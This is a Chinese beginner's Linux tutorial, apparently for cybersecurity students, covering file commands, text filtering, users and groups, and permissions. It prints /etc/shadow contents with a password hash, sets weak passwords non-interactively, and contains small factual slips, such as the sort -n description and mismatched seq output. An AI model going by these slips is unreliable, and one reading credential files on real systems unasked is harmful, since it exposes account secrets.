【网络安全---Linux入门】Linux入门教程（非常详细）从零基础入门熟练使用，看完这一篇就够了_linux入门 远程操作

二，Linux系统

2.1 window远程连接Linux系统

## 语法：ssh 用户名@ip地址
## 比如：ssh root@192.168.61.131
1
2

2.2 简单指令总结

# 远程登录linux系统
	ssh root@192.168.202.136
# 断开连接
	exit
# 重启系统
	reboot 或者 shutdown -h now
# 关机指令
	shutdown #默认30秒之后才会关机
# 立即关机
	shutdown  -h now
# 十分钟之后关机长度
	shutdown  -h  10
1
2
3
4
5
6
7
8
9
10
11
12

2.3 文件和目录操作

2.3.1 新建文件

   #新建文件     touch
        例子1： touch 1.txt  #创建单个文件
        例子2： touch test{1..10}.txt #批量创建文件touch test{a..f}.txt
        例子3： touch /root/4.txt  #在指定的/root目录下，创建文件4.txt
        
    # 如果touch的文件名称重复了，不会覆盖原文件
1
2
3
4
5
6

2.3.2 查看目录下的文件

# ls全称list  
	参数 
    -a # 显示隐藏文件
    -l # 竖向列表，详细信息展示
    -h  # 以易于阅读的形式显示 与 l 命令一起用
    -1  # 属性只显示文件夹（竖着显示）
    
## ls：显示当前目录下的内容
    例子1：ls test09.txt   #查看test09.txt是否存在，有会显示文件名称，没有会报错
    例子2：ls *.txt        #查看以txt结尾的所有文件，类似于windows下的*.后缀名搜索
    例子3：ls  -1         #以一行一个文件的方式显示，注意这是-1，是数字1，不是l昂
    例子4：ls  -a al         #查看所有文件，包括隐藏文件，touch .文件名，.开头的就是隐藏文件
    例子5：ls -a -1         #查看所有文件，以一行一个来显示
    例子6：ls -l   #类似于windows的详细列表，这个-l不是数字1
    
 ## 以.开头的文件是隐藏文件，默认不显示
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

2.3.3 移动、也可以进行重命名

## mv全称move ,如果目标不存在，则有改名的效果
    例子1：mv 222.txt 123.txt    #将222.txt文件重命名为123.txt
    例子2：mv 123.txt /opt       #将当前目录下的123.txt移动到/opt目录下
1
2
3

2.3.4 复制

## cp全称copy，复制有个特点，就是如果复制到的文件夹中有同名的文件，会帮我们改名字并加上副本两个字，
	## 参数
    -r ## 复制文件夹
## linux不会帮我们改名字，我们需要自己指定名字，后缀名尽量不要改。
例子1：cp test01.txt /opt/   #将当前目录下的test01.txt复制到/opt目录下
例子2：cp -a dev04 /opt/     #将目录dev04复制到/opt下，注意，要在dev04的上一级目录来复制它，在它内部是不能复制这个文件夹的

cp -r aini /root/norah/
1
2
3
4
5
6
7
8

2.3.5 删除

#删除，注意Linux和windows不同，没有回收站，删了就是删了

## 参数 -f -r
    -f  ## 强制删除
    -r ## 删除文件夹

    例子1:  rm /opt/123.txt  #将/opt目录下的123.txt文件删除，需要回复y确认删除
    例子2： rm -f /opt/test01.txt 
    	#将/opt目录下的test01.txt文件删除，不需要回复，强制删除，很多指令都有自己的参数，而且有好多，-f就是强制的意思。
    例子3： rm 文件1 文件2 文件3 #删除多个文件
#删除一个目录，linux的参数大部分没有先后顺序

#直接删除文件夹，比如 rm dev，这是不行的，会报错，需要带上r参数

[root@localhost ~]# rm -f -r dev02 
[root@localhost ~]# rm -r -f dev03
[root@localhost ~]# rm -fr dev # rm的两个参数可以合并到一起
[root@localhost ~]# rm -rf dev01
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

2.3.6 创建文件夹

##创建目录directory，这里说的目录就是文件夹，默认显示是蓝色的字体，文件显示是白色的字体
## mkdir 全称make directory 

    例子1：mkdir dev   #创建一个dev目录
    例子2：mkdir dev{01..10}     #批量创建多个目录
    例子3：mkdir -p 1/2/3/4/5/6  #一次性创建多级子目录
    
## 重命名：mv jaden wulaoban # 将jaden目录改名为wulaoban
1
2
3
4
5
6
7
8

2.3.7 切换目录

cd  #全称change directory
    例子1：
    cd local    #切换到local目录中
    cd /usr/local  #切换到目录/usr/local
    cd ..       #切换到上一级目录
    cd ../..  # 进入上一级的上一级目录 ，还可以继续../
    cd / # 直接切换到根目录
1
2
3
4
5
6
7

2.3.8 显示当前工作目录

#print work directory
pwd
#打印当前工作目录
1
2
3

2.3.9 历史指令查询

history
1

2.3.10 目录分隔符

## windows：C:\Users\ls198\Desktop # 微软故意用\，其他的unix分支系统都是/来分割
## linux：/root/jaden/xx
## linux只有一个盘符，不像windows，可以设置c盘、d盘...
## /是根目录
## /root 根目录下面的root目录
## /root/jaden
## /root/jaden/xx
1
2
3
4
5
6
7

2.3.11 修改文件内容

#修改文件内容，先体验一下，后面再专门讲vi的功能
#vi编辑器，和windows的记事本工具类似
	例子1： vi test03.txt   #编辑文件test03.txt
    
# vi编辑保存文件，需要三种模式切换
	## 常规模式：默认是常规模式，在常规模式中可以使用各种快捷键，帮我们快速编辑文件，比如dd，就是删除当前一行数据
	## 编辑模式：切换英文输入法，然后按ioa三个键中的任意一个键都可以进入编辑模式，这样才能向文件中写内容，写完内容之后，先回			到常规模式，在编辑模式中按esc回到常规模式
	## 命令模式：在常规模式时按:(英文的冒号)进入命令模式，命令模式按esc回到常规模式，命令模式下输入q然后回车表示退出文件，wq			保存并退出，q!表示强制退出不保存
1
2
3
4
5
6
7
8

11-1 常规模式快捷键

11-2 命令模式快捷键

2.3.12 查看文件内容

#从上往下顺序查看文本内容
	cat
	例子1：cat test03.txt  #查看test03.txt的全部内容

#从下往上倒着查看文本内容
	tac
	例子1：tac test03.txt  #倒着查看test03.txt的全部内容

## 翻页查看
	more 
    ## 查看过程中通过空格翻页
    ## 通过q退出
1
2
3
4
5
6
7
8
9
10
11
12

2.3.13 查看文件头几行

#head
    例子1： head test03.txt       #查看文件的前十行，默认
    例子2： head  -n 5 test03.txt  #查看文件的前5行
    例子3： head  -5 test03.txt   #查看文件的前5行
1
2
3
4

2.3.14 查看文件倒数几行

#tail
    例子1： tail test03.txt       #查看文件的倒数十行，默认
    例子2： tail  -n 5 test03.txt  #查看文件的倒数5行
    例子3： tail  -5 test03.txt   #查看文件的倒数5行
1
2
3
4

2.4 管道

管道符号： | ，可以将前面指令的执行结果，作为后面指令的操作内容。

## 比如过滤ip地址
ip addr | tail -4 | head -1
1
2

2.5 文件内容过滤

2.5.1 统计

#统计，比如统计文件有多少个字节、多少行等等
	wc  # 全称Word Count，计数
    
    ## 参数
	-l # 按行统计，不会单独使用，需要接在管道后面
     -c # 统计字节个数
     -m # 统计字符数量
     -w # 统计单词数量
    
    wc aini.txt  
    # 2 11 59  分别是 行数  单词数量  字节数
	例子1：
        [root@localhost ~]# cat jaden.txt |wc -l
        18  # 共18行



	[root@localhost ~]# cat -n jaden.txt # 显示内容的同时，显示行号
     1 sdsdsdsdsdsdsd是的是的
     2 
     3 sdsd
     4 65656
     5 sdsd
     6 sdsd
     7 sdsd
     8 33333
     9 565656565
    10 33333
    11 565656565
    12 33333
    13 565656565
    14 33333
    15 565656565
    16 
    17 
    18 sdssds ;;;;
    
	wc -c jaden.txt # 统计文件中有多少个字节
# 统计指令执行结果有多少行
	例子：ip addr|wc -l
# 统计bin目录下有多少个命令文件
	例子：ls /bin |wc -l
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

2.5.2 生成数字序列

seq # 全称：sequence，序列的意思

# 例子1：产生一个5到12的序列
[root@localhost ~]# seq 5 12
    5
    6
    7
    8
    9
    10
    11
    12
例子2：产生一个5到12等宽的序列
[root@localhost ~]# seq -w 5 110
    05
    06
    07
    08
    09
    10
    11
    12
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

2.5.3 过滤字符串

#按行过滤字符串，默认是模糊匹配，只要单词中含有某些内容就过滤出单词所在的每行数据
grep
## 参数 -n 表示在结果中显示匹配的行的行号
例子1： #普通过滤，将含有3这个字符的行过滤出来
[root@localhost ~]# grep '333' jaden.txt 
    33333
    33334
    33333
    53333
例子2： #显示行号
[root@localhost ~]# grep -n '333' jaden.txt 
    8:33333
    10:33333
    12:33333
    14:33333
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

2.5.4 按列过滤

awk #awk其名称得自于它的创始人 Alfred Aho 、Peter Weinberger 和 Brian Kernighan 姓氏的首个字母。

# 例子1： 取列,$1代表第一列，$2代表第二列，$NF代表最后一列，列是由空格分开的
[root@localhost ~]# cat jaden.txt 
row 1, cell 1 row 1, cell 2
row 2, cell 1 row 2, cell 2
[root@localhost ~]# awk '{print $1}' jaden.txt # 注意，必须是单引号
    row
    row
[root@localhost ~]# awk '{print $2}' jaden.txt 
    1,
    2,
    
#例子2：以逗号,做分隔符
[root@localhost ~]# cat jaden.txt 
    row 1, cell 1 row 1, cell 2
    row 2, cell 1 row 2, cell 2
[root@localhost ~]# awk -F ','   '{print $1}' jaden.txt 
    row 1
    row 2
[root@localhost ~]# awk -F ','   '{print $NF}' jaden.txt 
 cell 2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

2.5.5 排序

sort 
# 默认排序，先数字后字母
# sort -n # 先字母(先小写字母后大写字母)后数字的排序方式，
# sort -n -r 反向排序
例子1：
[root@localhost ~]# cat test02.txt
    3
    2
    6
    4
    8
    7
    5
    3
    2
    1
    2
    3
    4
    5
    6
    9
    1
    5
    7
[root@localhost ~]# cat test02.txt|sort -n
    1
    1
    2
    2
    2
    3
    3
    3
    4
    4
    5
    5
    5
    6
    6
    7
    7
    8
    9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

2.5.6 统计去重

uniq  #全称：unique，唯一、去重的意思，但是它是将连续的去重，不会间隔去重，所以最好先排序再去重

例子1：
[root@localhost ~]# cat test02.txt|sort -n
    1
    1
    2
    2
    2
    3
    3
    3
    4
    4
    5
    5
    5
    6
    6
    7
    7
    8
    9
[root@localhost ~]# cat test02.txt|sort -n|uniq 
[root@localhost ~]# cat test02.txt|sort -n|uniq -c # -c显示重复次数
      2 1
      3 2
      3 3
      2 4
      3 5
      2 6
      2 7
      1 8
      1 9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

2.6 Linux目录结构介绍

/bin      #存放二进制的可执行文件，也就是命令，其实每个命令基本都是一个可执行代码文件，特别重要，不能删除!
 # window的命令文件都是exe结尾的，linux的命令文件是没有后缀名的，如果删除了某个命令文件，那么这个命令就不能用了
    
/boot     #开机启动需要的文件， 特别重要，不要动里面的文件。

/dev      #dev全称：Devices，硬件设备控制文件，特别重要，千万不要动!

/etc      #存放系统的各种配置文件，相当于windows的注册表，也就是超大的配置文件，特别重要，不能删除!
 # 比如改密码什么的，其实都是修改的etc下面的某个配置文件(shadow文件)中的配置，还有安装的各种软件配置文件，一般也是放到这个目录，也可以放到其他目录，但是一般都是放到这里。
    
/home     #所有普通用户的家目录就在这个home目录下，每个用户目录中都有自己的桌面等目录，windows都是放到了Users目录下
/root     #root用户的专属家目录，特别重要，不能删除!

/lib      #library 32位库，一般是so结尾的库文件，特别重要，不能删除!
 # so结尾的库文件，类似于windows下的系统的dll动态链接库文件。千万不要尝试删除，试试就逝世。如果有快照的话你可以试试。
    
/lib64    #library 64位库，一般是so结尾的库文件，特别重要，不能删除!

/media    #多媒体文件目录(音乐、视频、文档等)，是一个不重要的目录，只是linux的作者希望用户能够按照对应目录来存放内容，这个目录普通用户是没有权限删除的，root用户可以删除它

/mnt      #全称：mount，挂载的意思，一般是用来挂载光盘，U盘，也就是插入U盘、关盘等，打开之后一般都是在这个mnt目录下，这个目录也是可以删除的

/opt      #部分软件安装存储目录，安装的某些软件的时候，如果默认安装，那么它可能会将自己的程序安装到这个目录下，如果你不用这个目录，那么也是可以删除的目录

/proc     #全称：process，是进程的意思，每个进程编号一个目录。通过ps -ef指令可以查看到进程编号， 特别重要，不能删除!

/sbin     #全称：super bin，是超级用户才能使用的命令 ，特别重要，不能删除! shutdown reboot
 # 比如普通用户是没有关机(shutdown)、重启(reboot)等危害比较大的指令，这些命令文件在sbin目录中
    
/srv      #之前用来存放软件源代码文件的，这个目录也没啥用。源代码-->编译-->打包-->软件包，软件包在windows下叫做可执行文件，linux下叫做命令文件。其实叫啥都行，明白它是啥即可。

/sys      #全称：system，是系统功能目录，特别重要，不能删除!

/tmp      #全称：temporary，临时的意思，用来存放临时文件的目录，这里面的文件如果长时间没用的话，会被系统自动清除。
 # windows下也有很多这样的临时目录，多数都是隐藏目录，比如C:\Users\用户名\AppData\Local\Temp，好多清理系统垃圾的软件，其实都是删除了一些临时文件。
    
/run      #运行，程序运行的时候产生的文件，多数也是临时文件，但是这里的文件不会被系统自动清除。

/usr      #用户级的目录，usr全称是UNIX software resource，主要存放的是一些软件程序以及这些程序所需要使用的库，当然也会保存一些程序需要的资源文件，特别重要，不能删除! usr目录下面的文件夹种类和/根目录下很像，比如都有bin目录，linux作者这样的设计是想告诉用户，系统的命令文件放到根目录的bin下，用户自己安装的某些软件的命令文件，放到/usr/bin下面。

/var      #全称是variable，用来存放一些经常变动的文件，比如日志文件、网页文件、缓存等，特别重要，不能删除!
 # 这个目录下我们安全人员一般只关注log日志目录。比如用户登录系统、什么时候登录的、登陆了几次等等，都会在log目录下产生日志记录，这个我们后期会做演示. 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

2.7 用户与用户组管理

2.7.1 用户管理

1-1 创建用户

#创建用户
useradd 
#创建一个用户
例子1：useradd test1
1
2
3
4

1-2 设置密码

#设置密码，远程ssh连接是需要密码的，所以想让某个用户登录系统，必须设置密码
passwd
例子1：passwd test1

#用root用户给普通用户修改密码
[root@localhost ~]# passwd test1
更改用户 test1 的密码 。
新的 密码：123456
无效的密码： 密码是一个回文
重新输入新的 密码：123456
passwd：所有的身份验证令牌已经成功更新。

#普通用户自己修改密码
[test1@localhost ~]$ passwd  # 给当前登录用户修改密码，root用户修改密码不需要输入旧密码，
普通用户需要输入旧密码
更改用户 test1 的密码 。
为 test1 更改 STRESS 密码。
（当前）UNIX 密码：
新的 密码：
无效的密码： 密码少于 8 个字符
新的 密码：
无效的密码： 密码少于 8 个字符
新的 密码：
无效的密码： 密码未通过字典检查 - 过于简单化/系统化
passwd: 已经超出服务重试的最多次数

# 一般linux的密码是有复杂度要求的，比如下面这种密码就可以通过：大小写组合、数字、特殊字符组合起
来超过8位。
jaden666@qq.COM
jaden666@WSX

例子3：
#免交互修改密码，这样不需要输入两次密码确认。echo是打印的意思，有结果输出给passwd命令来修改test1用户的密码
echo 123456|passwd --stdin test1
# 这种一般同时改多个Linux服务器系统的密码时比较方便。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

1-3 检查用户是否存在

#检查用户是否存在
id
例子1: 
#用户存在，系统的返回结果
[root@localhost ~]# id test1
uid=1000(test1) gid=1000(test1) 组=1000(test1)
#用户不存在，系统的返回结果
[root@localhost ~]# id test2
id: test2: no such user
1
2
3
4
5
6
7
8
9

1-4 删除用户

## 查看用户列表
cat /etc/passwd

#删除用户
userdel

例子1：
#被删除的用户还在登录状态，是不能删除的
[root@localhost ~]# userdel test1
userdel: user test1 is currently used by process 2356

#被删除的用户，退出登录之后，可以正常删除
[root@localhost ~]# userdel test1
'''
    linux删除用户之后，/home/目录下对应的用户文件夹还在，如果还想加回来这个用户，那么会提示家目录存
    在，不会从样板目录(skel)中复制任何文件了，通过ls -a /etc/skel，可以看到skel目录下的内容了。
    还提示邮箱文件已经存在，ls /var/spool/mail下面
    windows删除用户之后，c:\Users目录下的用户文件夹也还在
    注意：删除之后的用户，再次创建出来，密码是需要重新设置的
'''
[root@localhost ~]# userdel -r test1 # 删除用户，并删除用户相关目录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

1-5 修改用户信息，修改属性

#修改用户信息，修改属性
usermod # modify 它有很多选项(参数)，-L是锁定用户，通过命令 -h(或者--help，一个-后面一般跟一个字母即可，两个-后面一般跟完整单词)，可以查看命令的各种选项的意思，比如usermod -h
#锁定用户(和windows的禁用用户一个意思)
例子1：
[root@localhost ~]# usermod -L test1 #被锁定的用户，下次就登录不上系统了。
[root@localhost ~]# usermod -U test1 #解锁用户
[root@localhost ~]# lchage -l test1 # 查看用户详细信息
帐号被锁。
至少: 0
至多: 99999
警告: 7
不活跃： 从不
最后一次改变： 2021年07月20日
密码过期： 从不
密码不活跃： 从不
帐号过期： 从不

#禁止用户登录(这个后面再说)
[root@localhost ~]# usermod -s /sbin/nologin test2
[root@localhost ~]# grep -w 'test2' /etc/passwd
test2:x:1001:1001::/home/test2:/sbin/nologin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

1-6 查看用户详细信息

lchage
例子1：
[root@localhost ~]# lchage -l test1
    帐号没被锁。
    至少: 0
    至多: 99999
    警告: 7
    不活跃： 从不
    最后一次改变： 2021年07月20日
    密码过期： 从不
    密码不活跃： 从不
    帐号过期： 从不
    
## 所有的用户信息存储在/etc/passwd文件中，每创建一个用户该文件就会多一行记录

## passwd文件解释
root:x:0:0:root:/root:/bin/bash
test1:x:1000:1000::/home/test1:/bin/bash
test2:x:1001:1001::/home/test2:/sbin/nologin
test3:x:1002:1000::/home/test3:/sbin/nologin
haha:x:1004:1004:putong user:/home/haha:/bin/bash
第一列：用户名
第二列：x
第三列：uid  # root用户的uid是0，我们自己创建的用户uid是1000及之后的数值。
第四列：gid
第五列：注释，一般为空
第六列：家目录的位置
第七列：使用shell的名称，默认使用/bin/bash


## 有的用户密码信息存储/etc/shadow，设置了密码的长度比较长。密码是两层加密的，基本无法破解。但是如果黑客权限比较高，它可以用知道密码的shadow文件来替换这个文件，或者修改这个文件下某个用户的密码，只有root用户才有权力修改这个文件。

[root@localhost ~]# cat /etc/shadow
root:$6$QM3AHtFflOvGbCnt$2wTYZrnO8c66vycaxprE79G.I7hiy8EqXntG86FXxqlSawjtKoTjAnA
a9xFA3ad1QpFskJRPt0QeDPBnZZAdx0::0:99999:7:::
bin:*:18353:0:99999:7:::
daemon:*:18353:0:99999:7:::
adm:*:18353:0:99999:7:::
lp:*:18353:0:99999:7:::
sync:*:18353:0:99999:7:::
shutdown:*:18353:0:99999:7:::
halt:*:18353:0:99999:7:::
mail:*:18353:0:99999:7:::
operator:*:18353:0:99999:7:::
games:*:18353:0:99999:7:::
ftp:*:18353:0:99999:7:::
nobody:*:18353:0:99999:7:::
systemd-network:!!:18827::::::
dbus:!!:18827::::::
polkitd:!!:18827::::::

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

1-7 登录主机的两种方式：

## 本地登录：直接在主机上输入用户名和密码登录
## 远程登录：ssh远程登录

## windows默认只能同时一个用户登录，登录另外一个用户，前一个用户就会自动下线。
## linux支持多个用户在多个地方同时登录一个系统，每个用户都有一个终端来控制操作系统。终端的意思就是连接窗口。

# 查看当前登录了几个用户，或者打开了几个终端
w
结果：下面表示2个终端登录了
12:15:42 up 21 min,  2 users, load average: 0.00, 0.01, 0.03
USER     TTY     FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1                      12:15    6.00s  0.00s  0.00s -bash
root     pts/0    192.168.61.1     11:55    6.00s  0.02s  0.01s w
# tty1表示本地登录的、pts/0表示远程登录的
1
2
3
4
5
6
7
8
9
10
11
12
13
14

2.7.2 用户组管理

2-1 新建组和查看组:

## 新建组和查看组:
 groupadd 组名
例子：
 [root@localhost tmp]# groupadd test
 [root@localhost tmp]# cat /etc/group # 查看有哪些组
1
2
3
4
5

2-2 指定组来创建用户

#指定组来创建用户，如果没有指定组，那么创建用户的时候，linux会自动创建一个与用户名同名的组。
例子： 组的英文是group
[root@localhost tmp]# useradd -g test1 test3 #-g 是指定主组
[root@localhost tmp]# id test3
uid=1002(test3) gid=1000(test1) 组=1000(test1)
# gid表示用户的属组的主组
# 组=表示用户的属组，用户可以属于多个组，一个主组，多个其他组。
1
2
3
4
5
6
7

2-3 删除组

# 删除组
groupdel 组名
例子：
[root@localhost tmp]# groupdel test 
#如果组内有用户，会报错，需要先删除主组属于这个组的所有用户(userdel -r 用户名)，或者将用户移到其他的组之后在删除组。
# 修改组名
# groupmod -n jaden wulaoban # 将wulaoban组名改为jaden
1
2
3
4
5
6
7

2-4 修改用户所属的主组

# 修改用户所属的主组
usermod -g 组名
例子：
[root@localhost tmp]# usermod -g test jaden #将jaden用户的主组改为test
[root@localhost tmp]# groupdel jaden # 就可以将jaden组删除了。
# 将用户添加到多个其他组中
usermod -G
[root@localhost tmp]# usermod -G test wulaoban # 将wulaoban用户也添加到test组
1
2
3
4
5
6
7
8

2.8 权限管理

2.8.1 权限介绍和示例

## root用户权限最高，所以一般对他不做什么权限设置。其他用户就要设定权限并且遵守权限了。文件权限：

#文件属性
[root@localhost ~]# ls -l /tmp/123.txt
	-rw-r--r--. 1 root root 0 7月  20 23:17 /tmp/123.txt
        
#第一段的第一个字符，表示文件类型 -文件、d目录、l软链接(对应着windows快捷方式)、b块设备(ls /dev，可以看到硬盘sda等)
#第一段第2-4字符，表示该文件所属用户的权限
#第一段第5-7字符，表示该文件所属用户组的权限
#第一段第8-10字符，表示其他用户对该文件的权限

'''
    r 4 代表读权限 read
    w 2 代表写权限 write
    x 1 代表可执行权限 executable  
    - 0 空权限位，表示没有这个权限，9位权限不能少，没有的权限就用-代替。
'''


权限值表
    0 ---
    1 --x
    2 -w-
    3 -wx
    4 r--
    5 r-x
    6 rw-
    7 rwx
ugo权限体系:
   rw-   r--   r-- 
   user group other
    
    
## root没办法玩昂，因为默认权限太高。我们用普通用户来玩：用xshell开启多个窗口连接上这三个用户。

创建三个用户并设置密码：lisi、wangwu、zhaoliu
[root@localhost ~]# useradd lisi
[root@localhost ~]# passwd lisi
    更改用户 lisi 的密码 。
    新的 密码：
    无效的密码： 密码少于 8 个字符
    重新输入新的 密码：
    passwd：所有的身份验证令牌已经成功更新。
    
[root@localhost ~]# useradd wangwu
[root@localhost ~]# passwd wangwu
    更改用户 wangwu 的密码 。
    新的 密码：
    无效的密码： 密码少于 8 个字符
    重新输入新的 密码：
    passwd：所有的身份验证令牌已经成功更新。
    
[root@localhost ~]# 
[root@localhost ~]# useradd zhaoliu
[root@localhost ~]# passwd zhaoliu
    更改用户 zhaoliu 的密码 。
    新的 密码：
    无效的密码： 密码少于 8 个字符
    重新输入新的 密码：
    passwd：所有的身份验证令牌已经成功更新


## 使用lisi来登录，并创建个文件，将文件权限全部去掉，修改权限用chmod指令，全称change mode：
# 例如：chomd -r,就是去掉r权限，chomd +r就是加上读权限，chmod +wr就是加读写权限，chmod u+r，就是给文件属主用户添加读权限等
    [lisi@localhost ~]$ touch 1.txt
    [lisi@localhost ~]$ vi 1.txt
    [lisi@localhost ~]$ ls -l
        总用量 4
        -rw-rw-r--. 1 lisi lisi 12 3月  20 09:07 1.txt
        [lisi@localhost ~]$ chmod -rw 1.txt 
        [lisi@localhost ~]$ ls -l
        总用量 4
        ----------. 1 lisi lisi 12 3月  20 09:07 1.txt
    
## 现在这个文件是没有任何权限的，但是文件是lisi创建的，文件属主还是lisi，虽然显示lisi也没有权限，但是实际上lisi是可以修改文件权限的，其他用户(除了root)是没有权力修改这个文件权限的。读权限的作用：  

## lisi用户：
   [lisi@localhost ~]$ chmod -rw 1.txt 
   [lisi@localhost ~]$ ls -l
   总用量 4
    ----------. 1 lisi lisi 12 3月  20 09:07 1.txt
   [lisi@localhost ~]$ cat 1.txt
    cat: 1.txt: 权限不够
   [lisi@localhost ~]$ chmod u+r 1.txt
   [lisi@localhost ~]$ ls -l
   总用量 4
    -r--------. 1 lisi lisi 12 3月  20 09:07 1.txt
   [lisi@localhost ~]$ cat 1.txt
   hello jaden1
   ## 为了方便其他用户查看，我们先将1.txt放到/tmp目录下。
   [lisi@localhost ~]$ mv 1.txt /tmp/
   [lisi@localhost ~]$ ls /tmp/
    1.txt     
    
## wangwu用户：
 [wangwu@localhost ~]$ cd /tmp/
 [wangwu@localhost tmp]$ cat 1.txt
 	cat: 1.txt: 权限不够
            
 [wangwu@localhost tmp]$ chmod o+r 1.txt
 	chmod: 更改"1.txt" 的权限: 不允许的操作
            
## 切换到lisi：给o加上r权限，再看效果
    
 [lisi@localhost ~]$ chmod o+r /tmp/1.txt
   [lisi@localhost ~]$ ls -l /tmp/
   总用量 8
    -r-----r--. 1 lisi lisi  12 3月  20 09:07 1.txt
        
## 再切换到wangwu来查看文件内容：
 [wangwu@localhost tmp]$ cat 1.txt
 hello jaden


# 写权限的作用：
## 但是wangwu想编辑文件，也是没有权限的。可以vi打开，但是编辑之后不能保存。
## 再切换到lisi，给o一个w权限，wangwu就可以编辑保存了。 
 [lisi@localhost ~]$ chmod o+w /tmp/1.txt
   [lisi@localhost ~]$ ls -l /tmp/
   总用量 8
    -r-----rw-. 1 lisi lisi  12 3月  20 09:07 1.txt
wangwu编辑保存一下，查看内容：
 [wangwu@localhost tmp]$ vi 1.txt
   [wangwu@localhost tmp]$ cat 1.txt
   hello jaden
   hello wangwu


## 可执行权限的作用：这个需要我们创建一个命令文件才能看效果，我复制某个命令文件过来，谁复制过来的，这个文件的属主就是谁，如下
. 代表当前目录
.. 代表上一级目录
## 切换到lisi用户来复制ls文件到/tmp目录下，并将执行权限去掉，去掉执行权限的文件显示位白色，有执行权限的显示为绿色。

[lisi@localhost ~]$ cd /tmp/
   [lisi@localhost tmp]$ cp /bin/ls .
   [lisi@localhost tmp]$ ls -l
    -r-----rw-. 1 lisi lisi     25 3月  20 09:24 1.txt
    -rwx------. 1 root root    836 3月  15 20:14 ks-script-ed2ODG
    -rwxr-xr-x. 1 lisi lisi 117608 3月  20 09:29 ls
   [lisi@localhost tmp]$ chmod -x ls
   [lisi@localhost tmp]$ ls -l
    -r-----rw-. 1 lisi lisi     25 3月  20 09:24 1.txt
    -rwx------. 1 root root    836 3月  15 20:14 ks-script-ed2ODG
    -rw-r--r--. 1 lisi lisi 117608 3月  20 09:29 ls
        
## 切换到wangwu来执行一下ls这个文件： 注意，不能直接ls，直接ls还是调用系统/bin/ls文件，需要写./ls才是使用当前目录下的ls文件，或者写这个文件的绝对路径/tmp/ls，或者将它放到某个特定目录下，就可以直接使用对应指令而不用管路径了，这个我在下面有补充说明。
 [wangwu@localhost tmp]$ ./ls
 -bash: ./ls: 权限不够
 [wangwu@localhost tmp]$ /tmp/ls
 -bash: /tmp/ls: 权限不够
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150

2.8.2 可执行程序特殊目录说明

## 通过echo $PATH可以看到，类似于windows的环境变量中的PATH。反式放到这个目录中的命令程序，我们可以在任意目录下通过这个命令程序名称来直接调用命令来执行：

[lisi@localhost tmp]$ echo $PATH  # 下面这几个就是环境变量路径存放位置
/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/home/lisi/.local/bin:/home/lisi/bin
                    
lisi@localhost tmp]$ cp ./ls /home/lisi/bin/
[lisi@localhost tmp]$ ls /home/lisi/bin/
	ls
[lisi@localhost tmp]$ mv /home/lisi/bin/ls /home/lisi/bin/xxx  
	# 为了不和系统默认的ls冲突，我们改名为xxx
[lisi@localhost tmp]$ ls /home/lisi/bin/
	xxx

[lisi@localhost tmp]$ xxx
[lisi@localhost tmp]$ xxx  # 命令可以在任意目录下直接执行
1.txt 
ls
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

2.8.3 权限值

权限值：
r 4
w 2
x 1
- 0
权限值表
0 ---
1 --x
2 -w-
3 -wx
4 r--
5 r-x
6 rw-
7 rwx

## 修改权限举例
## 如果我们想将某个文件的：rwxr-xr-x权限改为--x-w-r--，如果按照前面我们chmod指定字母的形式来修改，就比较麻烦，直接使用权限对应的数字改就很方便：

rwxr-xr-x 对应的值为：755
--x-w-r-- 对应的值为：124
[lisi@localhost tmp]$ chmod 124 1.txt
[lisi@localhost tmp]$ ls -l
---x-w-r--. 1 lisi   lisi       25 3月  20 09:24 1.txt
## 别人再问你，某个文件的权限是多少的时候，我们一般都是直接报数字值，比如它的权限是755

#改变文件的权限，例如：chomd -r,就是去掉r权限，chomd +r就是加上读权限

chmod
例子1：
#修改权限之前
    [test1@localhost tmp]$ ls -l
    -rw-rw----. 1 test1 test1 8 7月  20 17:20 test1.txt\
    
#修改权限
    [test1@localhost tmp]$ chmod u+x test1.txt 
#修改权限之后
    [test1@localhost tmp]$ ls -l
    -rwxrw----. 1 test1 test1 8 7月  20 17:20 test1.txt
    
例子2：
## 同时修改多个权限
    [test1@localhost tmp]$ chmod u-x,g-x,o+x test1.txt 
    [test1@localhost tmp]$ ls -l
    -rw-rw---x. 1 test1 test1 8 7月  20 17:20 test1.txt
    
例子3：
## 数字修改更方便
    [test1@localhost tmp]$ chmod 777 test1.txt 
    [test1@localhost tmp]$ ls -l
    -rwxrwxrwx. 1 test1 test1 8 7月  20 17:20 test1.txt
1
2
3
4
5
6
7
8
9
10
